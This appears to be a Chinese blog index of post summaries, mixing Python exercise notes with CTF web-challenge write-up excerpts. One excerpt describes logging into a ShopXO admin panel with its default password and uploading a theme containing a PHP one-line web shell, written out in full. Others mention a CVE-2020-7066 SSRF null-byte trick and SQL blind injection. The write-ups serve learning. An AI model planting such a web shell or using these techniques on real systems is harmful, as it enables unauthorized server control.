Ch0bits

摘要： 日常写脚本，最后添了关闭文件报错，错误原因是把f.open().read()连接使用（语法没有什么问题） 修改成如下，就能正常打印读取文件的内容 f=open('/Users/ASUS/desktop/vray.txt','r') print(f.read()) f.close() 关于写入文件，会 阅读全文

摘要： 老八小超市 网页是个购物网站模板，后台是admin.php 查询得知ShopXO默认密码为shopxo 登陆进入后台，查找主题模板，并下载免费的默认模板 在模板压缩包的_static_目录下，插入一句话木马并上传 <?php @eval($_POST[a]); phpinfo(); ?> 上传以后会 阅读全文

摘要： CVE版签到 这道题主要考察的是cve-2020-7066，ssrf 漏洞 https://www.anquanke.com/vul/id/1966253 https://bugs.php.net/bug.php?id=79329 利用方法： 通过\0截断，访问本地主机，题目这里是使用%00截断 / 阅读全文

摘要： 比赛刚结束，跟着师傅们的WP来学技术，说来惭愧，这次比赛题目除了签到一个都没做出来 Web - Checkin 题目代码给出来，第一感觉是要序列化，但是不存在反序列化函数 WP写的很简单，Ginkgo可以传参，之后参数会保存在当前页面中，传参一句话，使用连接工具连接 查看PHP配置信息： 需要将'p 阅读全文

摘要： 第5章-5 统计字符出现次数 a=str(input()) n=str(input()) b=len(a) count=0 for i in range(b): if(a[i]==n): count+=1 print(count) 第5章-6 统计工龄 a=int(input()) b=list() 阅读全文

摘要： 想起了一个人打比赛的时光 阅读全文

摘要： 阅读全文

摘要： 阅读全文

摘要： 题目要求我们实现进制的转换，当时做题只写出来一个实现两位数的 import math a,b=map(int,input().split(',')) c=len(str(a)) d=e=f=0 g=a for i in range(c): g-=f d=round(g/10**(c-i-1)) f= 阅读全文

摘要： web7 我一直在想，如果关键字被过滤了，怎么去判读字段长度？ 其实盲注的话，貌似就没有这个麻烦了 做题之前先判断哪些关键字被过滤了， 一碰到空格就报错，空格被过滤 盲注都是一个字一个字对比，很麻烦，所以这里用大佬的脚本做题 库名web7，表名flag，page，user 很遗憾最后模仿大佬脚本，爆 阅读全文